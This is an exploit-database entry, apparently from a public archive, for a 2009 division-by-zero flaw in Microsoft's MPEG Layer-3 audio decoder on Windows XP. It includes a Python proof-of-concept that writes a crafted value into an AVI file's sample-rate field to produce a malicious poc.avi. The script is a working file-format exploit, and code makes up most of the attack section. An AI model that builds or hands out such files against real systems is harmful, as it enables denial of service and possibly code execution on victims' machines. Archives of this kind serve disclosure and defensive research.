Microsoft MPEG Layer-3 Audio Decoder Division By Zero

vendor:

Microsoft MPEG Layer-3 Audio Decoder

by:

Shahin

7,5

CVSS

HIGH

Division By Zero

N/A

CWE

Product Name: Microsoft MPEG Layer-3 Audio Decoder

Affected Version From: l3codeca.acm 1-9-0-306 (XP SP2 ñ XP SP3)

Affected Version To: l3codeca.acm 1-9-0-306 (XP SP2 ñ XP SP3)

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

Microsoft MPEG Layer-3 Audio Decoder Division By Zero

This exploit is related to the Microsoft MPEG Layer-3 Audio Decoder vulnerability which allows an attacker to cause a division by zero error in the l3codeca.acm 1-9-0-306 (XP SP2 ñ XP SP3) component of Microsoft Windows. The vulnerability is triggered when a specially crafted AVI file is opened, which can lead to a denial of service or potentially allow arbitrary code execution.

Mitigation:

No known mitigation or remediation is available for this vulnerability.

Source

Exploit-DB raw data:

'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-24-microsoft-mpeg-layer-3-audio-decoder-division-by-zero/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15096.zip (moaub-24-mp3-exploit.zip)
'''

'''
  Title            :  Microsoft MPEG Layer-3 Audio Decoder Division By Zero
  Version          :  l3codeca.acm 1-9-0-306 (XP SP2 ñ XP SP3)
  Analysis        :  http://www.abysssec.com
  Vendor           :  http://www.microsoft.com
  Impact           :  Med/High
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
  MOAUB Number     :  MOAUB-02
'''

import sys
import struct


def main():
   
    try:
		fdR = open('src.avi', 'rb+')
		strTotal = fdR.read()
		str1 = strTotal[:4428]
		nSamplesPerSecField = '\x00\xff\xff\xff'
		str2 = strTotal[4432:]
		
		fdW= open('poc.avi', 'wb+')
		fdW.write(str1)
		fdW.write(nSamplesPerSecField)
		fdW.write(str2)
		fdW.close()
		fdR.close()
		print '[-] AVI file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main()